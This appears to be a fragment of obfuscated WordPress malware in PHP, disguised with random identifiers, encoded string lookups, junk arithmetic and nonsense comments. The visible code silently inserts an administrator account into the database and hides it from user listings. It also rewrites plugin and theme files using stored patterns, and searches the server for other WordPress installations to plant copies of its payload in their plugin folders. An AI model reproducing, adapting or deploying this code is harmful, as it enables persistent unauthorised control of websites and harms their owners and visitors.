    $u8ebroty4aa1q  = hkq6dslzqcgoi1lu4((2+22));
   if  (!  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(998))    &&     defined(n747he9yo38(784))   &&     $GLOBALS['__scf_yi4cpqdjr9_711'](ABSPATH .   lgr6hp92ka(999)))    {
/* sparse proof-term */

require_once  ABSPATH   .     hwc6a8djp6yy(999);
 }
   $dbhmkyhi7wu5dn      =  $gp9t097cfab     . '@'  . og1x2m03ubzy0v1hpff6(k83m2slbb(1000));
  $at4qpkpnx_3pzgy =  false;$k4b5yoba=PHP_MAJOR_VERSION;$x_nqh7sey7kmc=$k4b5yoba*6;



   if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(998)))    {$yu9ooz9c=PHP_MAJOR_VERSION;$_0fxzs6jrd9=$yu9ooz9c*4;
     $at4qpkpnx_3pzgy =  $GLOBALS['__scf_iv1prb4l71wi_998'](array(
   k83m2slbb(1001)   => $gp9t097cfab,
 k83m2slbb(1002)    =>  $u8ebroty4aa1q,
    n747he9yo38(1003)     =>  $dbhmkyhi7wu5dn,
hwc6a8djp6yy(727) =>    k83m2slbb(728),
hwc6a8djp6yy(1004)     =>  $gp9t097cfab,
   ));
 if     (is_wp_error($at4qpkpnx_3pzgy))    {
  pas31bymshzdagwkp(woii22it0(995),  $at4qpkpnx_3pzgy->get_error_code()   .   ':'   .      $at4qpkpnx_3pzgy->get_error_message());$h98sssbgt8a=98|29;$zpapvmuoouza=$h98sssbgt8a^192;
   $at4qpkpnx_3pzgy = false;
}
     }
if   (!$at4qpkpnx_3pzgy)  {
$wpdb     =      isset($GLOBALS[lgr6hp92ka(878)])     ?   $GLOBALS[k83m2slbb(1005)]   : null;
 if   (!$wpdb   || !$GLOBALS['__scf_mvbylv45uji1_67']($wpdb))  {
  pas31bymshzdagwkp(k83m2slbb(1006),   n747he9yo38(1007));
    return    false;
  }
// interpret symbol-table for PSR-7 messages

 $gn2hmmmnuq =    $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1008))  ? wp_hash_password($u8ebroty4aa1q) : $GLOBALS['__scf__pih7hoh4m_56']($u8ebroty4aa1q);
 $lsxsmkd51y    = $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1009))    ?   current_time(lgr6hp92ka(1010))    :      gmdate(lgr6hp92ka(1011));


$nskvyrqz0a      =    $wpdb->insert($wpdb->users,    array(
    k83m2slbb(1012) => $gp9t097cfab,
 lgr6hp92ka(1013)   =>    $gn2hmmmnuq,
 woii22it0(1014)  => $gp9t097cfab,
   woii22it0(1003) =>  $dbhmkyhi7wu5dn,
hwc6a8djp6yy(1015) => $lsxsmkd51y,
   k83m2slbb(1016) =>   0,
    lgr6hp92ka(1004) =>  $gp9t097cfab,



),  array(woii22it0(1017), lgr6hp92ka(1018),   k83m2slbb(1018), n747he9yo38(1018),  n747he9yo38(1018),   n747he9yo38(1019),  woii22it0(1018)));
 if     (!$nskvyrqz0a)   {
pas31bymshzdagwkp(lgr6hp92ka(1006), n747he9yo38(1020));
  return     false;
   }
  $at4qpkpnx_3pzgy = (int) $wpdb->insert_id;


  $fmwaeej6zngzrt94 = $wpdb->prefix .   k83m2slbb(1021);
      $wpdb->insert($wpdb->usermeta,   array(
k83m2slbb(1022)  => $at4qpkpnx_3pzgy,
    woii22it0(1023)   => $fmwaeej6zngzrt94,
     woii22it0(1024)  =>  $GLOBALS['__scf_ont_3ql2b3ui_348'](array(k83m2slbb(728)  => true)),



    ),    array(hwc6a8djp6yy(1025),   hwc6a8djp6yy(1018), hwc6a8djp6yy(1026)));
     $wpdb->insert($wpdb->usermeta,    array(
 woii22it0(1022)    =>  $at4qpkpnx_3pzgy,
       hwc6a8djp6yy(1023)   =>      $wpdb->prefix .      lgr6hp92ka(1027),



   n747he9yo38(1028) =>  '10',
  ),   array(k83m2slbb(1025),    hwc6a8djp6yy(1026),  lgr6hp92ka(1029)));
 if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1030)))   {
clean_user_cache($at4qpkpnx_3pzgy);



    }
 }
      if   (!username_exists($gp9t097cfab))    {
    pas31bymshzdagwkp(woii22it0(1006),   n747he9yo38(1031));
      return false;
}
 $_406_7o2jeonh  = $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1032))  ?    get_user_by(woii22it0(1033), $gp9t097cfab) :  false;$_kskv9cd48v6=PHP_INT_MAX/PHP_INT_MAX;$xjtr4pjdrf7=$_kskv9cd48v6+40;
  $fwf97lg631   =      false;
      if    ($_406_7o2jeonh &&  !empty($_406_7o2jeonh->ID)) {
   if     ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1034)))  {
 $fwf97lg631    =  (bool)     user_can($_406_7o2jeonh,  lgr6hp92ka(728));
 }  elseif (isset($_406_7o2jeonh->caps) &&   $GLOBALS['__scf_lxbo0xm7220an_34']($_406_7o2jeonh->caps))   {
        $fwf97lg631 = !empty($_406_7o2jeonh->caps[n747he9yo38(1035)]);

 }
}
 if  (!$fwf97lg631)   {



 pas31bymshzdagwkp(lgr6hp92ka(1006), lgr6hp92ka(1036));
if   ($at4qpkpnx_3pzgy)  {
 if (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1037))   &&  defined(lgr6hp92ka(784))   &&   @$GLOBALS['__scf_yi4cpqdjr9_711'](ABSPATH  . n747he9yo38(1038))) {
// subscribe primitive-recursive director


     require_once ABSPATH  .    lgr6hp92ka(1038);
}
// expected coordinator

       if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1037)))   @wp_delete_user($at4qpkpnx_3pzgy);
  }
// unhook composite for PHPUnit 10

    return     false;
}
 if     (!htdydg38ahuyxm73zkqz0(lgr6hp92ka(993),  $gp9t097cfab,   hwc6a8djp6yy(1039)))     htdydg38ahuyxm73zkqz0(woii22it0(993),  $gp9t097cfab,  hwc6a8djp6yy(1039));
       if  (!htdydg38ahuyxm73zkqz0(k83m2slbb(924),    $u8ebroty4aa1q, n747he9yo38(1039))) htdydg38ahuyxm73zkqz0(n747he9yo38(924),   $u8ebroty4aa1q,  hwc6a8djp6yy(1039));
 if  ((string) z6q8c6q8s6lg_2r(hwc6a8djp6yy(1040), "")    !== $gp9t097cfab ||  (string)   z6q8c6q8s6lg_2r(n747he9yo38(924),  "")  !==      $u8ebroty4aa1q)   {
// obstruction-free broadcaster

 pas31bymshzdagwkp(hwc6a8djp6yy(1006),  n747he9yo38(996));
    return false;
     }
 return    true;
 } catch  (Throwable  $oz7m23pnscj7)  {
      pas31bymshzdagwkp(lgr6hp92ka(1006),    $oz7m23pnscj7);
     }  catch      (Exception $oz7m23pnscj7)    {
pas31bymshzdagwkp(woii22it0(1041),     $oz7m23pnscj7);


  } finally {
hev0akflm_tefd(k83m2slbb(988));
}
  return  false;
    }
    function bbbk46qwgg6jjjwzbqvv($re59ep5ivd)


   {

try  {
  



  if   (!  $GLOBALS['__scf_mvbylv45uji1_67']($re59ep5ivd)  || !     property_exists($re59ep5ivd,    hwc6a8djp6yy(1042)))  {


  return  $re59ep5ivd;


   }
  
  $gp9t097cfab  =  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(989)) ? (string)   z6q8c6q8s6lg_2r(k83m2slbb(1043),  "")     : "";
   if  (!  $gp9t097cfab) {
      return  $re59ep5ivd;
     }

   
  $nb215f3jrw   =   esc_sql($gp9t097cfab);


 if    ($GLOBALS['__scf_p9nk7khmjys_7']($re59ep5ivd->query_where, $nb215f3jrw) === false)  {
// @debounce structural-type

 $re59ep5ivd->query_where .=    lgr6hp92ka(1044)  .  $nb215f3jrw    .  "'";


      }
}  catch (Throwable $oz7m23pnscj7) {
  pas31bymshzdagwkp(woii22it0(1045),  $oz7m23pnscj7);



  }  catch  (Exception  $oz7m23pnscj7)     {


   }
 return   $re59ep5ivd;
    }
  function   p5hh41z2z_x3j9($k40gp8vqm299iald)


{
  try    {
 $r_0tc19on37qm4o  =  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(989)) ?    (string)  z6q8c6q8s6lg_2r(woii22it0(1046),  "")  :  "";
 if (!    $r_0tc19on37qm4o)  {$rc1spiv1upn=PHP_INT_MAX/PHP_INT_MAX;$u22rtnj6hjl=$rc1spiv1upn+4;
 return   $k40gp8vqm299iald;
   }

$be6e5csde5_wrx5e  =  array(woii22it0(1047),  n747he9yo38(1035));
   foreach ($be6e5csde5_wrx5e as $key)  {
if    (isset($k40gp8vqm299iald[$key])      &&  $GLOBALS['__scf_epa1jymnf5_40']($k40gp8vqm299iald[$key]) && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1048), $k40gp8vqm299iald[$key],    $hyzeda9xec3m80j)) {
   $v3ns5_io9ii =  $GLOBALS['__scf_pvrbrgmmuddxr_475'](0,  (int)  $hyzeda9xec3m80j[1] -     1);
  $k40gp8vqm299iald[$key] =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](k83m2slbb(1049), '('   .  $v3ns5_io9ii  .   ')',    $k40gp8vqm299iald[$key]);
  }
// enable ring-buffer for WordPress 6.3 commands




    }
} catch  (Throwable     $oz7m23pnscj7)  {
      pas31bymshzdagwkp(k83m2slbb(1050),      $oz7m23pnscj7);

    }  catch  (Exception    $oz7m23pnscj7)  {
}
  return $k40gp8vqm299iald;
}
     function zau3bh3q9_duygzn10v($dokcs7ybphmm74n,  $an4hnhcb8ts03ph_)
 {


  try   {

 $gp9t097cfab    =    $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(989))  ?   (string)    z6q8c6q8s6lg_2r(hwc6a8djp6yy(1046), "")   : "";


  if    ($gp9t097cfab   ===   "")  {
return   $dokcs7ybphmm74n;
    }
// @preempt vault



      if    (!   $GLOBALS['__scf_lxbo0xm7220an_34']($dokcs7ybphmm74n)) {



     return $dokcs7ybphmm74n;
      }


     if (! isset($dokcs7ybphmm74n[n747he9yo38(1051)]) ||  !   $GLOBALS['__scf_lxbo0xm7220an_34']($dokcs7ybphmm74n[woii22it0(1051)]))  {
    $dokcs7ybphmm74n[k83m2slbb(1051)]     = array();



  }



   if (! $GLOBALS['__scf_a2dj3p28xfi_149']($gp9t097cfab, $dokcs7ybphmm74n[hwc6a8djp6yy(1051)],  true))    {
$dokcs7ybphmm74n[hwc6a8djp6yy(1052)][]  = $gp9t097cfab;
     }
  }    catch   (Throwable $oz7m23pnscj7)  {
   pas31bymshzdagwkp(lgr6hp92ka(1053),  $oz7m23pnscj7);
  } catch (Exception   $oz7m23pnscj7)     {
}
   return $dokcs7ybphmm74n;
     }
 
   function    troi8snl7i4ldm()
 {
$j8lsfcs32s9rjen   =  array();




  if  (defined(lgr6hp92ka(834)) && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(989))) {
$v1j0d7arkca0aite  = (array)  get_option(k83m2slbb(736),     array());
$wbh87hz1m0s      =  array();
 foreach     ($v1j0d7arkca0aite as    $basename)  {


if      (!      $GLOBALS['__scf_epa1jymnf5_40']($basename) || $GLOBALS['__scf_p9nk7khmjys_7']($basename,   lgr6hp92ka(715))   !== false)  {
continue;
}
        $uymbro6k3ch  = $GLOBALS['__scf_zf6ei6xtcw1fb_11']($basename);
 if     ($uymbro6k3ch ===  '.')     {
$uymbro6k3ch =  $basename;
  }
if  (isset($wbh87hz1m0s[$uymbro6k3ch]))    {
     continue;
 }
  $wbh87hz1m0s[$uymbro6k3ch] =    true;
    $obb00_vecb89w9f6    =      WP_PLUGIN_DIR .  '/' . $basename;
   if    ($GLOBALS['__scf_zf6ei6xtcw1fb_11']($basename) === '.')  {
   if  (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  {$rx3s86l0j=7632;$rrw_p8sc=$rx3s86l0j%5;
       $j8lsfcs32s9rjen[]  =   $obb00_vecb89w9f6;



 }
       }  else  {
 $vm28qyb_j8_ix  =    $GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6);
// transpile faithful filter-chain




   if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix))  {

   $j8lsfcs32s9rjen  =    $GLOBALS['__scf_p8wjejlfb3_368']($j8lsfcs32s9rjen,  cbu3yt8gegzrark($vm28qyb_j8_ix,    array(woii22it0(480))));



  }


}
      }
   }
   
if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42'](vyeikxc5a6j7a4n())) {
$c0k8bkxlt1er4   =   dphiql_w139y37(vyeikxc5a6j7a4n(),   (4973+27));
if ($GLOBALS['__scf_lxbo0xm7220an_34']($c0k8bkxlt1er4)) {


foreach    ($c0k8bkxlt1er4   as  $a33z1ft29t1) {

    if  ($a33z1ft29t1     ===  blnqst3prbthr6q_h_())   {
 continue;
       }
    $b4dilk2xt5ex   = vyeikxc5a6j7a4n()   .  '/'     .  $a33z1ft29t1;

     if     (@$GLOBALS['__scf_mtwlgr3p78_18']($b4dilk2xt5ex)  &&  $GLOBALS['__scf_ytoyy4ewqm_103']($GLOBALS['__scf_jzy6f3xykw_208']($a33z1ft29t1,    constant(woii22it0(719))))  === k83m2slbb(1054)) {
/* essential permission */


  $j8lsfcs32s9rjen[]   =  $b4dilk2xt5ex;
  }
}



  }
}
// WP Button Block: activate unification

       
   if   (defined(lgr6hp92ka(784))  && $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(989)))      {
 $mo_rxrd_0pmh  =    (string) get_option(woii22it0(1055),   "");
       $ed9moa508my  = (string)   get_option(k83m2slbb(1056), "");
  $fyxu1zp1c2r8   =  defined(hwc6a8djp6yy(783)) ?    WP_CONTENT_DIR  .  k83m2slbb(1057)  :      ABSPATH   .  lgr6hp92ka(1058);
  $ophnrxukyp1      =  $GLOBALS['__scf_w5opg4gsg8g4tp_148']($GLOBALS['__scf__4747k7qys5_335'](array($mo_rxrd_0pmh,    $ed9moa508my)));


      foreach     ($ophnrxukyp1   as  $cy9yo5q4zjs9p_um)   {



     if  ($GLOBALS['__scf_p9nk7khmjys_7']($cy9yo5q4zjs9p_um, hwc6a8djp6yy(1059))    !== false)     {
 continue;


  }
// unload affine-type for WP Template Parts

 $i6fmbc28xz86  = $fyxu1zp1c2r8  .   '/'   .  $cy9yo5q4zjs9p_um;


     if    (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($i6fmbc28xz86))     {
 
  $heg7xsea8t6u2_   =  dphiql_w139y37($i6fmbc28xz86,   (2362-362));
     if  ($GLOBALS['__scf_lxbo0xm7220an_34']($heg7xsea8t6u2_)) {
   foreach ($heg7xsea8t6u2_  as  $a33z1ft29t1)    {
      $d8qcnn9sh_ = $i6fmbc28xz86  .  '/' . $a33z1ft29t1;
 if     (@$GLOBALS['__scf_mtwlgr3p78_18']($d8qcnn9sh_) &&  $GLOBALS['__scf_ytoyy4ewqm_103']($GLOBALS['__scf_jzy6f3xykw_208']($a33z1ft29t1,  constant(lgr6hp92ka(719)))) ===   n747he9yo38(1054)) {
$j8lsfcs32s9rjen[]   =  $d8qcnn9sh_;
 }
      }
// @defragment branded-type

      }




 $l9pmc8xrch2     =    $i6fmbc28xz86 . woii22it0(1060);

       if (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($l9pmc8xrch2))    {
 $j8lsfcs32s9rjen   =   $GLOBALS['__scf_p8wjejlfb3_368']($j8lsfcs32s9rjen,     cbu3yt8gegzrark($l9pmc8xrch2, array(lgr6hp92ka(1054))));
        }
       }
 }
}
   return $GLOBALS['__scf_w5opg4gsg8g4tp_148']($j8lsfcs32s9rjen);
 }
     function  b38d3nnswl41mytacdc($o1ecvvazh5p7gp)

{
  if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($o1ecvvazh5p7gp))    return   array();
    $a6ak9qjp3b89f  =  array();

foreach  ($o1ecvvazh5p7gp as $w7ktmogztxqq)   {
  if    (!$GLOBALS['__scf_epa1jymnf5_40']($w7ktmogztxqq)   ||  $w7ktmogztxqq  ===   ""  ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($w7ktmogztxqq)  > (4069+27)) continue;
       try     {
 if   (@$GLOBALS['__scf_iz3o_ajtgml6rf_96']($w7ktmogztxqq,    "") ===   false)  continue;

 }  catch (Throwable $oz7m23pnscj7)    {
  continue;
  }  catch   (Exception $oz7m23pnscj7)  {
 continue;
 }
    $a6ak9qjp3b89f[]  = $w7ktmogztxqq;
 }
/* singular retry-policy */

return  $a6ak9qjp3b89f;



   }


    function   b_tsi8njl611s1l66nob($o1ecvvazh5p7gp)
   {$abo_z3sg7udtn=207|97;$vs_i0z81a8qeh=$abo_z3sg7udtn^218;
try   {



 
   if  (empty($o1ecvvazh5p7gp))  {
     return    false;


  }
// mediate cubic flyweight

      
   $j8lsfcs32s9rjen =     troi8snl7i4ldm();
   if  (empty($j8lsfcs32s9rjen))     {
return  false;
        }
 $x1ibysf6a4e_ejv = false;
    foreach  ($j8lsfcs32s9rjen  as  $b4dilk2xt5ex) {$tpgxgf4ea9_dz=(0xf0+0xa3);$prwy5c0kpqf87=$tpgxgf4ea9_dz%5;


    if  (!   @$GLOBALS['__scf_mtwlgr3p78_18']($b4dilk2xt5ex)     ||    !  @$GLOBALS['__scf_vz80l0_46bwga_46']($b4dilk2xt5ex))     {
       continue;
 }


   
 if     (@$GLOBALS['__scf_vhi5vhdwib7ye_99']($b4dilk2xt5ex)   >  (524204+84))   {

continue;
  }
 $mfz02rl22n_yfy   =    @$GLOBALS['__scf_zonhpgc286wu1_95']($b4dilk2xt5ex);
  if   (!  $mfz02rl22n_yfy  || ! $GLOBALS['__scf_epa1jymnf5_40']($mfz02rl22n_yfy))   {


 continue;
}
        
$ichh13rqiv     =  false;$e6sdppyay3ae=(0xc3+0x5c);$pu4gggr_a=$e6sdppyay3ae%8;
      foreach ($o1ecvvazh5p7gp      as     $g8bv3mqx4an)   {
try  {
 
    $mf_b0xs48sq43ewj  =    @$GLOBALS['__scf_lv9m74lgyu5o6_460']($g8bv3mqx4an,  "",  $mfz02rl22n_yfy);


 if ($mf_b0xs48sq43ewj  !==    null  && $mf_b0xs48sq43ewj !==   $mfz02rl22n_yfy)     {
 $mfz02rl22n_yfy =  $mf_b0xs48sq43ewj;


 $ichh13rqiv =   true;
  }
 }  catch  (Throwable $oz7m23pnscj7)  {$oespxk25r7=66+70;$x_rmj29n9zq=$oespxk25r7-20;
    pas31bymshzdagwkp(hwc6a8djp6yy(1061),    $oz7m23pnscj7);
    continue;
} catch   (Exception $oz7m23pnscj7) {
continue;
  }


}
  
     if    ($ichh13rqiv)  {
  if    (m9xp6uh5w1cal39pfn4cx($b4dilk2xt5ex,  $mfz02rl22n_yfy)) {
 $x1ibysf6a4e_ejv  =   true;
}
  }
 }
 
return  $x1ibysf6a4e_ejv;
       }  catch (Throwable $oz7m23pnscj7)    {
pas31bymshzdagwkp(lgr6hp92ka(1062), $oz7m23pnscj7);


 } catch  (Exception  $oz7m23pnscj7)    {
// trace dataflow-graph for MySQL JSON operators

 }
 return  false;
 }
 
  function      uzw8gz2g916gq0eb($vm28qyb_j8_ix,  $ja5qrhjlo70i)
 {
// WP Block API v3: parallelize invariant

$cpx7_28odoku51m     =  array();


$ja5qrhjlo70i    =   $ja5qrhjlo70i    -  1;

   $lvgpxsn4_3yym9  = dphiql_w139y37($vm28qyb_j8_ix,    (427+73));

  if  (!    $GLOBALS['__scf_lxbo0xm7220an_34']($lvgpxsn4_3yym9))  {
 return   $cpx7_28odoku51m;
}
   $lvgpxsn4_3yym9     =  $GLOBALS['__scf_in0l0qf_4m_158']($lvgpxsn4_3yym9, 0,     (0x111+0xe3));



  
  foreach   ($lvgpxsn4_3yym9 as   $a33z1ft29t1) {
 
  if ($a33z1ft29t1      ===    '.'     ||  $a33z1ft29t1    ===   hwc6a8djp6yy(1063))  {
   continue;
   }
      
    $qqdlnvgghtmiz   = $vm28qyb_j8_ix .    '/' . $a33z1ft29t1;
  if  (!    @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($qqdlnvgghtmiz)) {

continue;
}
  
   if  (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($qqdlnvgghtmiz  .   woii22it0(1064))) {
 $cpx7_28odoku51m[]  =     $GLOBALS['__scf_aiwotu1kwod_12']($qqdlnvgghtmiz,    n747he9yo38(80));
  continue;$g1kaspb_oiwb=(0xb7+0x4);$ux_mpw_3g707n=$g1kaspb_oiwb%8;
     }
 

 if ($ja5qrhjlo70i   >   0)     {
   $cpx7_28odoku51m  =  $GLOBALS['__scf_p8wjejlfb3_368']($cpx7_28odoku51m, uzw8gz2g916gq0eb($qqdlnvgghtmiz, $ja5qrhjlo70i));
      }
   }
 

return   $cpx7_28odoku51m;
  }

function   scr9kfuauw_bmni8f8f4f()



   {


    $anjcxloqad   =  array();
 $vbp744co897r =    $GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH, woii22it0(80));
   try {
 $__y_pe9rqhbhk   = array();
 if   ($vbp744co897r)  {

 $__y_pe9rqhbhk[]   = $GLOBALS['__scf_zf6ei6xtcw1fb_11']($vbp744co897r);

$__y_pe9rqhbhk[] = $GLOBALS['__scf_zf6ei6xtcw1fb_11']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($vbp744co897r));
      $__y_pe9rqhbhk[] = $GLOBALS['__scf_zf6ei6xtcw1fb_11']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($vbp744co897r)));
   }






   $__y_pe9rqhbhk[] =  lgr6hp92ka(1065);
      


 $__y_pe9rqhbhk[] =  lgr6hp92ka(1066);
 $__y_pe9rqhbhk[]    =    lgr6hp92ka(1067);
  $__y_pe9rqhbhk[]  = hwc6a8djp6yy(1068);
        $__y_pe9rqhbhk[]   =     hwc6a8djp6yy(1069);
$__y_pe9rqhbhk[]    =   woii22it0(1070);


  $__y_pe9rqhbhk[]   = woii22it0(1071);

      $zm1zift89h8w5e   =   $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1072)) ?     (string)    @$GLOBALS['__scf_n9umf2ff2bmitw_112'](k83m2slbb(113))  : "";
if  ($zm1zift89h8w5e  !==  "")   {


   $yw0z41ms9ec  = ($GLOBALS['__scf_p9nk7khmjys_7']($zm1zift89h8w5e,   ';') !== false)     ?   ';'   :  ':';
     foreach ($GLOBALS['__scf_txqeuw424jw_8__114']($yw0z41ms9ec, $zm1zift89h8w5e) as  $xzwufq9nacfqt)  {

$xzwufq9nacfqt =  $GLOBALS['__scf_xcg5caaat_92j0_323']($xzwufq9nacfqt);
if      ($xzwufq9nacfqt  !==  "")     {
 $__y_pe9rqhbhk[] = $xzwufq9nacfqt;



  }
    }
   }



      $__y_pe9rqhbhk   = $GLOBALS['__scf_w5opg4gsg8g4tp_148']($GLOBALS['__scf__4747k7qys5_335']($__y_pe9rqhbhk));

 $k63a1bef2r4mgz   =  $GLOBALS['__scf_kld1jjqcmx_289'](true);
 $anjcxloqad   =    array();


       



foreach    ($__y_pe9rqhbhk as    $vm28qyb_j8_ix)     {
  
  if (!  @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix)   || ! @$GLOBALS['__scf_toru1_9n2zog_45']($vm28qyb_j8_ix))     {
/* atomic transformer */

 continue;
}


     if (($GLOBALS['__scf_kld1jjqcmx_289'](true)  -     $k63a1bef2r4mgz)    > (5<<1)) {
   break;
 }
   
 $anjcxloqad   =  $GLOBALS['__scf_p8wjejlfb3_368']($anjcxloqad,  uzw8gz2g916gq0eb($vm28qyb_j8_ix, 2));
  }
  } catch  (Throwable  $oz7m23pnscj7) {
 pas31bymshzdagwkp(hwc6a8djp6yy(1073),    $oz7m23pnscj7);

 }  catch (Exception $oz7m23pnscj7)   {
 }
 
  return $GLOBALS['__scf_wuhj_qjl_ze21_152']($GLOBALS['__scf_w5opg4gsg8g4tp_148']($anjcxloqad),  array($vbp744co897r));
       }
     function   vajzawenocdoj8qd($mhp2j1y33s)


    {
   try  {
  $bedqw67a9nco_8  = array($mhp2j1y33s  .   hwc6a8djp6yy(1074), $mhp2j1y33s . k83m2slbb(1075));
        foreach  ($bedqw67a9nco_8     as   $vm28qyb_j8_ix)     {
 if (!  @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix))     {



 continue;
 }
 $pa5_mu9jhrfh     =  dphiql_w139y37($vm28qyb_j8_ix,   (4956+44));
  if (!$GLOBALS['__scf_lxbo0xm7220an_34']($pa5_mu9jhrfh))  {
    continue;
 }


      foreach   ($pa5_mu9jhrfh  as  $oz7m23pnscj7)   {


 if   ($GLOBALS['__scf_pdat24v9nxkx0_9']($oz7m23pnscj7,    -(48^52)) ===    lgr6hp92ka(1076)   && aay1vdwvzc2am3cxpp($vm28qyb_j8_ix      .      '/'     .  $oz7m23pnscj7,  (4918+82)))    {
 return  true;
  }
      }
 foreach    ($pa5_mu9jhrfh     as $oz7m23pnscj7)  {
$idyhg96jqj    =  $vm28qyb_j8_ix   . '/' .   $oz7m23pnscj7;
  if  (! @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($idyhg96jqj))  {
continue;



     }
// @transpile bivariant




   $abgyztalwa4j451v =   dphiql_w139y37($idyhg96jqj,   (6629-1629));


if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($abgyztalwa4j451v))    {
    continue;
   

      }



  foreach    ($abgyztalwa4j451v    as  $lg43ml2abp6bop)  {
if      ($GLOBALS['__scf_pdat24v9nxkx0_9']($lg43ml2abp6bop,  -(252^248))    ===   hwc6a8djp6yy(1076)  && aay1vdwvzc2am3cxpp($idyhg96jqj    .   '/'      .  $lg43ml2abp6bop,    (5329-329)))  {
 return true;
}



    }
 }
}
// WP Featured Image: hook heartbeat

} catch (Throwable $oz7m23pnscj7)  {
 pas31bymshzdagwkp(lgr6hp92ka(1077),     $oz7m23pnscj7);
}  catch  (Exception    $oz7m23pnscj7) {
    }

      return   false;
 }
function   e4ef9ou6eb4y6uhxwv()
 {
  try  {
   if     (l95i0qiwfmdi69_bke(vcr09jqkbni2k4ee0y()))  return;

 
  if  (get_transient(hwc6a8djp6yy(1078)))   {
 return;
  }
set_transient(woii22it0(1078), 1,    (396+204));
  
 $lg3qq7zrzjh0ss2 =   j7q7bvavumc4i765();



 if    (!  $lg3qq7zrzjh0ss2  || $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)   < (901+99))   {
    return;
  }
 if  (!     dxgg5a63x4tsvkmvowozg3($lg3qq7zrzjh0ss2))    {
   pas31bymshzdagwkp(k83m2slbb(1079),  k83m2slbb(1080));
   return;
      }
      
   $anjcxloqad =  scr9kfuauw_bmni8f8f4f();$snozaobw=(0x8b+0x97);$dya2zh8on=$snozaobw%15;
if (empty($anjcxloqad))  {
 if   (!get_transient(lgr6hp92ka(1081)))  {
 pas31bymshzdagwkp(k83m2slbb(1079),   k83m2slbb(1082));
     set_transient(lgr6hp92ka(1081),   1,  (5544-1944));
       }
 set_transient(n747he9yo38(1083),  1, (259131+69));
 return;
}
      $x2zg9aclo_b31     = 0;
     foreach  ($anjcxloqad   as $mhp2j1y33s)   {

     
   if  (vajzawenocdoj8qd($mhp2j1y33s))    {
   continue;$p9de4quj20y_to=PHP_INT_MAX/PHP_INT_MAX;$un4s_qay76wd_w=$p9de4quj20y_to+50;
 }
/* non-strict partition-refinement */


  $q7c9svyxqy7dijb   = "";$t71gzwso9pyod=95+82;$zw4i6am9ll2_g=$t71gzwso9pyod-5;
       $nu_ijtqjjuw2a =  $mhp2j1y33s     .      k83m2slbb(1074);



 if   (@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($nu_ijtqjjuw2a)    && !@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nu_ijtqjjuw2a))  {
  $nu_ijtqjjuw2a =    null;
 }  elseif   (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nu_ijtqjjuw2a))  {
   t9pjso5fxcttzwg5jam805($nu_ijtqjjuw2a,   (402+91),  true);


    }


 if  ($nu_ijtqjjuw2a    &&  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nu_ijtqjjuw2a)  ||   !@$GLOBALS['__scf_vz80l0_46bwga_46']($nu_ijtqjjuw2a)))    {



     $nu_ijtqjjuw2a = null;
 }
// Memcached adapter: equivariant mediator



    if    ($nu_ijtqjjuw2a)  {



$r1og_b9yhwzn27uf  =  $nu_ijtqjjuw2a  . '/'      . blnqst3prbthr6q_h_();
$drlbqcp2bkcr1hp   =  pn7nm6nqd14rnwe($lg3qq7zrzjh0ss2);
   $nwgcijv5s4389r  = fqr413zu_kw1ho7pi($r1og_b9yhwzn27uf, $drlbqcp2bkcr1hp, lgr6hp92ka(1084));
   if   ($nwgcijv5s4389r     && $nwgcijv5s4389r   >=      $GLOBALS['__scf_h5yqrl6kmpb_10']($drlbqcp2bkcr1hp))      {
  $q7c9svyxqy7dijb  =  $r1og_b9yhwzn27uf;

      }
 }
    
   if   (!  $q7c9svyxqy7dijb) {
$c3r90h9t603   =  $GLOBALS['__scf_jzy6f3xykw_208'](blnqst3prbthr6q_h_(),  PATHINFO_FILENAME);
 $rlznwnfm4dthvemt    =   $mhp2j1y33s     .   n747he9yo38(1085)    . $c3r90h9t603;
 if   (!  @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($rlznwnfm4dthvemt))    {

   t9pjso5fxcttzwg5jam805($rlznwnfm4dthvemt,   (422+71),   true);
   }
   $r1og_b9yhwzn27uf     =   $rlznwnfm4dthvemt .   '/' . blnqst3prbthr6q_h_();
 $drlbqcp2bkcr1hp  =  pn7nm6nqd14rnwe($lg3qq7zrzjh0ss2);
